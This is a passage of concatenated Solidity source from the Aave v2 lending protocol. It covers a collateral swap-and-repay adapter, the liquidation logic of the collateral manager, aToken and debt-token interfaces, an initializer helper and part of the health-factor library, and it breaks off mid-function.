@param debtAsset Address of debt asset * @param collateralAmount Amount of the collateral to be swapped * @param debtRepayAmount Amount of the debt to be repaid * @param debtRateMode Rate mode of the debt to be repaid * @param permitSignature struct containing the permit signature * @param useEthPath struct containing the permit signature */ function swapAndRepay( address collateralAsset, address debtAsset, uint256 collateralAmount, uint256 debtRepayAmount, uint256 debtRateMode, PermitSignature calldata permitSignature, bool useEthPath ) external { DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset); DataTypes.ReserveData memory debtReserveData = _getReserveData(debtAsset); address debtToken = DataTypes.InterestRateMode(debtRateMode) == DataTypes.InterestRateMode.STABLE ? debtReserveData.stableDebtTokenAddress : debtReserveData.variableDebtTokenAddress; uint256 currentDebt = IERC20(debtToken).balanceOf(msg.sender); uint256 amountToRepay = debtRepayAmount <= currentDebt ? debtRepayAmount : currentDebt; if (collateralAsset != debtAsset) { uint256 maxCollateralToSwap = collateralAmount; if (amountToRepay < debtRepayAmount) { maxCollateralToSwap = maxCollateralToSwap.mul(amountToRepay).div(debtRepayAmount); } // Get exact collateral needed for the swap to avoid leftovers uint256[] memory amounts = _getAmountsIn(collateralAsset, debtAsset, amountToRepay, useEthPath); require(amounts[0] <= maxCollateralToSwap, 'slippage too high'); // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, msg.sender, amounts[0], permitSignature ); // Swap collateral for debt asset _swapTokensForExactTokens(collateralAsset, debtAsset, amounts[0], amountToRepay, useEthPath); } else { // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, msg.sender, amountToRepay, permitSignature ); } // Repay debt. Approves 0 first to comply with tokens that implement the anti frontrunning approval fix IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amountToRepay); LENDING_POOL.repay(debtAsset, amountToRepay, debtRateMode, msg.sender); } /** * @dev Perform the repay of the debt, pulls the initiator collateral and swaps to repay the flash loan * * @param collateralAsset Address of token to be swapped * @param debtAsset Address of debt token to be received from the swap * @param amount Amount of the debt to be repaid * @param collateralAmount Amount of the reserve to be swapped * @param rateMode Rate mode of the debt to be repaid * @param initiator Address of the user * @param premium Fee of the flash loan * @param permitSignature struct containing the permit signature */ function _swapAndRepay( address collateralAsset, address debtAsset, uint256 amount, uint256 collateralAmount, uint256 rateMode, address initiator, uint256 premium, PermitSignature memory permitSignature, bool useEthPath ) internal { DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset); // Repay debt. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount); uint256 repaidAmount = IERC20(debtAsset).balanceOf(address(this)); LENDING_POOL.repay(debtAsset, amount, rateMode, initiator); repaidAmount = repaidAmount.sub(IERC20(debtAsset).balanceOf(address(this))); if (collateralAsset != debtAsset) { uint256 maxCollateralToSwap = collateralAmount; if (repaidAmount < amount) { maxCollateralToSwap = maxCollateralToSwap.mul(repaidAmount).div(amount); } uint256 neededForFlashLoanDebt = repaidAmount.add(premium); uint256[] memory amounts = _getAmountsIn(collateralAsset, debtAsset, neededForFlashLoanDebt, useEthPath); require(amounts[0] <= maxCollateralToSwap, 'slippage too high'); // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, initiator, amounts[0], permitSignature ); // Swap collateral asset to the debt asset _swapTokensForExactTokens( collateralAsset, debtAsset, amounts[0], neededForFlashLoanDebt, useEthPath ); } else { // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, initiator, repaidAmount.add(premium), permitSignature ); } // Repay flashloan. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount.add(premium)); } /** * @dev Decodes debt information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset Address of the reserve to be swapped * uint256 collateralAmount Amount of reserve to be swapped * uint256 rateMode Rate modes of the debt to be repaid * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v V param for the permit signature * bytes32 r R param for the permit signature * bytes32 s S param for the permit signature * bool useEthPath use WETH path route * @return RepayParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (RepayParams memory) { ( address collateralAsset, uint256 collateralAmount, uint256 rateMode, uint256 permitAmount, uint256 deadline, uint8 v, bytes32 r, bytes32 s, bool useEthPath ) = abi.decode( params, (address, uint256, uint256, uint256, uint256, uint8, bytes32, bytes32, bool) ); return RepayParams( collateralAsset, collateralAmount, rateMode, PermitSignature(permitAmount, deadline, v, r, s), useEthPath ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts//SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts//IERC20.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {ILendingPoolCollateralManager} from '../../interfaces/ILendingPoolCollateralManager.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {GenericLogic} from '../libraries/logic/GenericLogic.sol'; import {Helpers} from '../libraries/helpers/Helpers.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {LendingPoolStorage} from './LendingPoolStorage.sol'; /** * @title LendingPoolCollateralManager contract * @author Aave * @dev Implements actions involving management of collateral in the protocol, the main one being the liquidations * IMPORTANT This contract will run always via DELEGATECALL, through the LendingPool, so the chain of inheritance * is the same as the LendingPool, to have compatible storage layouts **/ contract LendingPoolCollateralManager is ILendingPoolCollateralManager, VersionedInitializable, LendingPoolStorage { using SafeERC20 for IERC20; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000; struct LiquidationCallLocalVars { uint256 userCollateralBalance; uint256 userStableDebt; uint256 userVariableDebt; uint256 maxLiquidatableDebt; uint256 actualDebtToLiquidate; uint256 liquidationRatio; uint256 maxAmountCollateralToLiquidate; uint256 userStableRate; uint256 maxCollateralToLiquidate; uint256 debtAmountNeeded; uint256 healthFactor; uint256 liquidatorPreviousATokenBalance; IAToken collateralAtoken; bool isCollateralEnabled; DataTypes.InterestRateMode borrowRateMode; uint256 errorCode; string errorMsg; } /** * @dev As thIS contract extends the VersionedInitializable contract to match the state * of the LendingPool contract, the getRevision() function is needed, but the value is not * important, as the initialize() function will never be called here */ function getRevision() internal pure override returns (uint256) { return 0; } /** * @dev Function to liquidate a position if its Health Factor drops below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override returns (uint256, string memory) { DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; LiquidationCallLocalVars memory vars; (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, userConfig, _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); (vars.userStableDebt, vars.userVariableDebt) = Helpers.getUserCurrentDebt(user, debtReserve); (vars.errorCode, vars.errorMsg) = ValidationLogic.validateLiquidationCall( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.userStableDebt, vars.userVariableDebt ); if (Errors.CollateralManagerErrors(vars.errorCode) != Errors.CollateralManagerErrors.NO_ERROR) { return (vars.errorCode, vars.errorMsg); } vars.collateralAtoken = IAToken(collateralReserve.aTokenAddress); vars.userCollateralBalance = vars.collateralAtoken.balanceOf(user); vars.maxLiquidatableDebt = vars.userStableDebt.add(vars.userVariableDebt).percentMul( LIQUIDATION_CLOSE_FACTOR_PERCENT ); vars.actualDebtToLiquidate = debtToCover > vars.maxLiquidatableDebt ? vars.maxLiquidatableDebt : debtToCover; ( vars.maxCollateralToLiquidate, vars.debtAmountNeeded ) = _calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.actualDebtToLiquidate, vars.userCollateralBalance ); // If debtAmountNeeded < actualDebtToLiquidate, there isn't enough // collateral to cover the actual amount that is being liquidated, hence we liquidate // a smaller amount if (vars.debtAmountNeeded < vars.actualDebtToLiquidate) { vars.actualDebtToLiquidate = vars.debtAmountNeeded; } // If the liquidator reclaims the underlying asset, we make sure there is enough available liquidity in the // collateral reserve if (!receiveAToken) { uint256 currentAvailableCollateral = IERC20(collateralAsset).balanceOf(address(vars.collateralAtoken)); if (currentAvailableCollateral < vars.maxCollateralToLiquidate) { return ( uint256(Errors.CollateralManagerErrors.NOT_ENOUGH_LIQUIDITY), Errors.LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE ); } } debtReserve.updateState(); if (vars.userVariableDebt >= vars.actualDebtToLiquidate) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate, debtReserve.variableBorrowIndex ); } else { // If the user doesn't have variable debt, no need to try to burn variable debt tokens if (vars.userVariableDebt > 0) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.userVariableDebt, debtReserve.variableBorrowIndex ); } IStableDebtToken(debtReserve.stableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate.sub(vars.userVariableDebt) ); } debtReserve.updateInterestRates( debtAsset, debtReserve.aTokenAddress, vars.actualDebtToLiquidate, 0 ); if (receiveAToken) { vars.liquidatorPreviousATokenBalance = IERC20(vars.collateralAtoken).balanceOf(msg.sender); vars.collateralAtoken.transferOnLiquidation(user, msg.sender, vars.maxCollateralToLiquidate); if (vars.liquidatorPreviousATokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } } else { collateralReserve.updateState(); collateralReserve.updateInterestRates( collateralAsset, address(vars.collateralAtoken), 0, vars.maxCollateralToLiquidate ); // Burn the equivalent amount of aToken, sending the underlying to the liquidator vars.collateralAtoken.burn( user, msg.sender, vars.maxCollateralToLiquidate, collateralReserve.liquidityIndex ); } // If the collateral being liquidated is equal to the user balance, // we set the currency as not being used as collateral anymore if (vars.maxCollateralToLiquidate == vars.userCollateralBalance) { userConfig.setUsingAsCollateral(collateralReserve.id, false); emit ReserveUsedAsCollateralDisabled(collateralAsset, user); } // Transfers the debt asset being repaid to the aToken, where the liquidity is kept IERC20(debtAsset).safeTransferFrom( msg.sender, debtReserve.aTokenAddress, vars.actualDebtToLiquidate ); emit LiquidationCall( collateralAsset, debtAsset, user, vars.actualDebtToLiquidate, vars.maxCollateralToLiquidate, msg.sender, receiveAToken ); return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS); } struct AvailableCollateralToLiquidateLocalVars { uint256 userCompoundedBorrowBalance; uint256 liquidationBonus; uint256 collateralPrice; uint256 debtAssetPrice; uint256 maxAmountCollateralToLiquidate; uint256 debtAssetDecimals; uint256 collateralDecimals; } /** * @dev Calculates how much of a specific collateral can be liquidated, given * a certain amount of debt asset. * - This function needs to be called after all the checks to validate the liquidation have been performed, * otherwise it might fail. * @param collateralReserve The data of the collateral reserve * @param debtReserve The data of the debt reserve * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param userCollateralBalance The collateral balance for the specific `collateralAsset` of the user being liquidated * @return collateralAmount: The maximum amount that is possible to liquidate given all the liquidation constraints * (user balance, close factor) * debtAmountNeeded: The amount to repay with the liquidation **/ function _calculateAvailableCollateralToLiquidate( DataTypes.ReserveData storage collateralReserve, DataTypes.ReserveData storage debtReserve, address collateralAsset, address debtAsset, uint256 debtToCover, uint256 userCollateralBalance ) internal view returns (uint256, uint256) { uint256 collateralAmount = 0; uint256 debtAmountNeeded = 0; IPriceOracleGetter oracle = IPriceOracleGetter(_addressesProvider.getPriceOracle()); AvailableCollateralToLiquidateLocalVars memory vars; vars.collateralPrice = oracle.getAssetPrice(collateralAsset); vars.debtAssetPrice = oracle.getAssetPrice(debtAsset); (, , vars.liquidationBonus, vars.collateralDecimals, ) = collateralReserve .configuration .getParams(); vars.debtAssetDecimals = debtReserve.configuration.getDecimals(); // This is the maximum possible amount of the selected collateral that can be liquidated, given the // max amount of liquidatable debt vars.maxAmountCollateralToLiquidate = vars .debtAssetPrice .mul(debtToCover) .mul(10**vars.collateralDecimals) .percentMul(vars.liquidationBonus) .div(vars.collateralPrice.mul(10**vars.debtAssetDecimals)); if (vars.maxAmountCollateralToLiquidate > userCollateralBalance) { collateralAmount = userCollateralBalance; debtAmountNeeded = vars .collateralPrice .mul(collateralAmount) .mul(10**vars.debtAssetDecimals) .div(vars.debtAssetPrice.mul(10**vars.collateralDecimals)) .percentDiv(vars.liquidationBonus); } else { collateralAmount = vars.maxAmountCollateralToLiquidate; debtAmountNeeded = debtToCover; } return (collateralAmount, debtAmountNeeded); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; import {IInitializableAToken} from './IInitializableAToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; interface IAToken is IERC20, IScaledBalanceToken, IInitializableAToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param value The amount being * @param index The new liquidity index of the reserve **/ event Mint(address indexed from, uint256 value, uint256 index); /** * @dev Mints `amount` aTokens to `user` * @param user The address receiving the minted tokens * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve * @return `true` if the the previous balance of the user was 0 */ function mint( address user, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted after aTokens are burned * @param from The owner of the aTokens, getting them burned * @param target The address that will receive the underlying * @param value The amount being burned * @param index The new liquidity index of the reserve **/ event Burn(address indexed from, address indexed target, uint256 value, uint256 index); /** * @dev Emitted during the transfer action * @param from The user whose tokens are being transferred * @param to The recipient * @param value The amount being transferred * @param index The new liquidity index of the reserve **/ event BalanceTransfer(address indexed from, address indexed to, uint256 value, uint256 index); /** * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying` * @param user The owner of the aTokens, getting them burned * @param receiverOfUnderlying The address that will receive the underlying * @param amount The amount being burned * @param index The new liquidity index of the reserve **/ function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external; /** * @dev Mints aTokens to the reserve treasury * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve */ function mintToTreasury(uint256 amount, uint256 index) external; /** * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken * @param from The address getting liquidated, current owner of the aTokens * @param to The recipient * @param value The amount of tokens getting transferred **/ function transferOnLiquidation( address from, address to, uint256 value ) external; /** * @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer * assets in borrow(), withdraw() and flashLoan() * @param user The recipient of the underlying * @param amount The amount getting transferred * @return The amount transferred **/ function transferUnderlyingTo(address user, uint256 amount) external returns (uint256); /** * @dev Invoked to execute actions on the aToken side after a repayment. * @param user The user executing the repayment * @param amount The amount getting repaid **/ function handleRepayment(address user, uint256 amount) external; /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IInitializableDebtToken} from './IInitializableDebtToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IStableDebtToken * @notice Defines the interface for the stable debt token * @dev It does not inherit from IERC20 to save in code size * @author Aave **/ interface IStableDebtToken is IInitializableDebtToken { /** * @dev Emitted when new stable debt is minted * @param user The address of the user who triggered the minting * @param onBehalfOf The recipient of stable debt tokens * @param amount The amount minted * @param currentBalance The current balance of the user * @param balanceIncrease The increase in balance since the last action of the user * @param newRate The rate of the debt after the minting * @param avgStableRate The new average stable rate after the minting * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Mint( address indexed user, address indexed onBehalfOf, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 newRate, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Emitted when new stable debt is burned * @param user The address of the user * @param amount The amount being burned * @param currentBalance The current balance of the user * @param balanceIncrease The the increase in balance since the last action of the user * @param avgStableRate The new average stable rate after the burning * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Burn( address indexed user, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Mints debt token to the `onBehalfOf` address. * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external returns (bool); /** * @dev Burns debt of `user` * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external; /** * @dev Returns the average rate of all the stable rate loans. * @return The average stable rate **/ function getAverageStableRate() external view returns (uint256); /** * @dev Returns the stable rate of the user debt * @return The stable rate of the user **/ function getUserStableRate(address user) external view returns (uint256); /** * @dev Returns the timestamp of the last update of the user * @return The timestamp **/ function getUserLastUpdated(address user) external view returns (uint40); /** * @dev Returns the principal, the total supply and the average stable rate **/ function getSupplyData() external view returns ( uint256, uint256, uint256, uint40 ); /** * @dev Returns the timestamp of the last update of the total supply * @return The timestamp **/ function getTotalSupplyLastUpdated() external view returns (uint40); /** * @dev Returns the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() external view returns (uint256, uint256); /** * @dev Returns the principal debt balance of the user * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view returns (uint256); /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; import {IInitializableDebtToken} from './IInitializableDebtToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IVariableDebtToken * @author Aave * @notice Defines the basic interface for a variable debt token. **/ interface IVariableDebtToken is IScaledBalanceToken, IInitializableDebtToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param onBehalfOf The address of the user on which behalf minting has been performed * @param value The amount to be minted * @param index The last index of the reserve **/ event Mint(address indexed from, address indexed onBehalfOf, uint256 value, uint256 index); /** * @dev Mints debt token to the `onBehalfOf` address * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted when variable debt is burnt * @param user The user which debt has been burned * @param amount The amount of debt being burned * @param index The index of the user **/ event Burn(address indexed user, uint256 amount, uint256 index); /** * @dev Burns user variable debt * @param user The user which debt is burnt * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external; /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title ILendingPoolCollateralManager * @author Aave * @notice Defines the actions involving management of collateral in the protocol. **/ interface ILendingPoolCollateralManager { /** * @dev Emitted when a borrower is liquidated * @param collateral The address of the collateral being liquidated * @param principal The address of the reserve * @param user The address of the user being liquidated * @param debtToCover The total amount liquidated * @param liquidatedCollateralAmount The amount of collateral being liquidated * @param liquidator The address of the liquidator * @param receiveAToken true if the liquidator wants to receive aTokens, false otherwise **/ event LiquidationCall( address indexed collateral, address indexed principal, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when a reserve is disabled as collateral for an user * @param reserve The address of the reserve * @param user The address of the user **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted when a reserve is enabled as collateral for an user * @param reserve The address of the reserve * @param user The address of the user **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Users can invoke this function to liquidate an undercollateralized position. * @param collateral The address of the collateral to liquidated * @param principal The address of the principal reserve * @param user The address of the borrower * @param debtToCover The amount of principal that the liquidator wants to repay * @param receiveAToken true if the liquidators wants to receive the aTokens, false if * he wants to receive the underlying asset directly **/ function liquidationCall( address collateral, address principal, address user, uint256 debtToCover, bool receiveAToken ) external returns (uint256, string memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title VersionedInitializable * * @dev Helper contract to implement initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. * * @author Aave, inspired by the OpenZeppelin Initializable contract */ abstract contract VersionedInitializable { /** * @dev Indicates that the contract has been initialized. */ uint256 private lastInitializedRevision = 0; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { uint256 revision = getRevision(); require( initializing || isConstructor() || revision > lastInitializedRevision, 'Contract instance has already been initialized' ); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; lastInitializedRevision = revision; } _; if (isTopLevelCall) { initializing = false; } } /** * @dev returns the revision number of the contract * Needs to be defined in the inherited class as a constant. **/ function getRevision() internal pure virtual returns (uint256); /** * @dev Returns true if and only if the function is running in the constructor **/ function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. uint256 cs; //solium-disable-next-line assembly { cs := extcodesize(address()) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title GenericLogic library * @author Aave * @title Implements protocol-level logic to calculate and validate the state of a user */ library GenericLogic { using ReserveLogic for DataTypes.ReserveData; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1 ether; struct balanceDecreaseAllowedLocalVars { uint256 decimals; uint256 liquidationThreshold; uint256 totalCollateralInETH; uint256 totalDebtInETH; uint256 avgLiquidationThreshold; uint256 amountToDecreaseInETH; uint256 collateralBalanceAfterDecrease; uint256 liquidationThresholdAfterDecrease; uint256 healthFactorAfterDecrease; bool reserveUsageAsCollateralEnabled; } /** * @dev Checks if a specific balance decrease is allowed * (i.e. doesn't bring the user borrow position health factor under HEALTH_FACTOR_LIQUIDATION_THRESHOLD) * @param asset The address of the underlying asset of the reserve * @param user The address of the user * @param amount The amount to decrease * @param reservesData The data of all the reserves * @param userConfig The user configuration * @param reserves The list of all the active reserves * @param oracle The address of the oracle contract * @return true if the decrease of the balance is allowed **/ function balanceDecreaseAllowed( address asset, address user, uint256 amount, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap calldata userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view returns (bool) { if (!userConfig.isBorrowingAny() || !userConfig.isUsingAsCollateral(reservesData[asset].id)) { return true; } balanceDecreaseAllowedLocalVars memory vars; (, vars.liquidationThreshold, , vars.decimals, ) = reservesData[asset] .configuration .getParams(); if (vars.liquidationThreshold == 0) { return true; } ( vars.totalCollateralInETH, vars.totalDebtInETH, , vars.avgLiquidationThreshold, ) = calculateUserAccountData(user, reservesData, userConfig, reserves, reservesCount, oracle); if (vars.totalDebtInETH == 0) { return true; } vars.amountToDecreaseInETH = IPriceOracleGetter(oracle).getAssetPrice(asset).mul(amount).div( 10**vars.decimals ); vars.collateralBalanceAfterDecrease = vars.totalCollateralInETH.sub(vars.amountToDecreaseInETH); //if there is a borrow, there can't be 0 collateral if (vars.collateralBalanceAfterDecrease == 0) { return false; } vars.liquidationThresholdAfterDecrease = vars .totalCollateralInETH .mul(vars.avgLiquidationThreshold) .sub(vars.amountToDecreaseInETH.mul(vars.liquidationThreshold)) .div(vars.collateralBalanceAfterDecrease); uint256 healthFactorAfterDecrease = calculateHealthFactorFromBalances( vars.collateralBalanceAfterDecrease, vars.totalDebtInETH, vars.liquidationThresholdAfterDecrease ); return healthFactorAfterDecrease >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD; } struct CalculateUserAccountDataVars { uint256 reserveUnitPrice; uint256 tokenUnit; uint256 compoundedLiquidityBalance; uint256 compoundedBorrowBalance; uint256 decimals; uint256 ltv; uint256 liquidationThreshold; uint256 i; uint256 healthFactor; uint256 totalCollateralInETH; uint256 totalDebtInETH; uint256 avgLtv; uint256 avgLiquidationThreshold; uint256 reservesLength; bool healthFactorBelowThreshold; address currentReserveAddress; bool usageAsCollateralEnabled; bool userUsesReserveAsCollateral; } /** * @dev Calculates the user data across the reserves. * this includes the total liquidity/collateral/borrow balances in ETH, * the average Loan To Value, the average Liquidation Ratio, and the Health factor. * @param user The address of the user * @param reservesData Data of all the reserves * @param userConfig The configuration of the user * @param reserves The list of the available reserves * @param oracle The price oracle address * @return The total collateral and total debt of the user in ETH, the avg ltv, liquidation threshold and the HF **/ function calculateUserAccountData( address user, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap memory userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) internal view returns ( uint256, uint256, uint256, uint256, uint256 ) { CalculateUserAccountDataVars memory vars; if (userConfig.isEmpty()) { return (0, 0, 0, 0, uint256(-1)); } for (vars.i = 0; vars.i < reservesCount; vars.i++) { if (!userConfig.isUsingAsCollateralOrBorrowing(vars.i)) { continue; } vars.currentReserveAddress = reserves[vars.i]; DataTypes.ReserveData storage currentReserve = reservesData[vars.currentReserveAddress]; (vars.ltv, vars.liquidationThreshold, , vars.decimals, ) = currentReserve .configuration .getParams(); vars.tokenUnit = 10**vars.decimals; vars.reserveUnitPrice = IPriceOracleGetter(oracle).getAssetPrice(vars.currentReserveAddress); if (vars.liquidationThreshold != 0 && userConfig.isUsingAsCollateral(vars.i)) { vars.compoundedLiquidityBalance = IERC20(currentReserve.aTokenAddress).balanceOf(user); uint256 liquidityBalanceETH = vars.reserveUnitPrice.mul(vars.compoundedLiquidityBalance).div(vars.tokenUnit); vars.totalCollateralInETH = vars.totalCollateralInETH.add(liquidityBalanceETH); vars.avgLtv = vars.avgLtv.add(liquidityBalanceETH.mul(vars.ltv)); vars.avgLiquidationThreshold = vars.avgLiquidationThreshold.add( liquidityBalanceETH.mul(vars.liquidationThreshold) ); } if (userConfig.isBorrowing(vars.i)) { vars.compoundedBorrowBalance = IERC20(currentReserve.stableDebtTokenAddress).balanceOf( user ); vars.compoundedBorrowBalance = vars.compoundedBorrowBalance.add( IERC20(currentReserve.variableDebtTokenAddress).balanceOf(user) ); vars.totalDebtInETH = vars.totalDebtInETH.add( vars.reserveUnitPrice.mul(vars.compoundedBorrowBalance).div(vars.tokenUnit) ); } } vars.avgLtv = vars.totalCollateralInETH > 0 ? vars.avgLtv.div(vars.totalCollateralInETH) : 0; vars.avgLiquidationThreshold = vars.totalCollateralInETH > 0 ? vars.avgLiquidationThreshold.div(vars.totalCollateralInETH) : 0; vars.healthFactor = calculateHealthFactorFromBalances( vars.totalCollateralInETH, vars.totalDebtInETH, 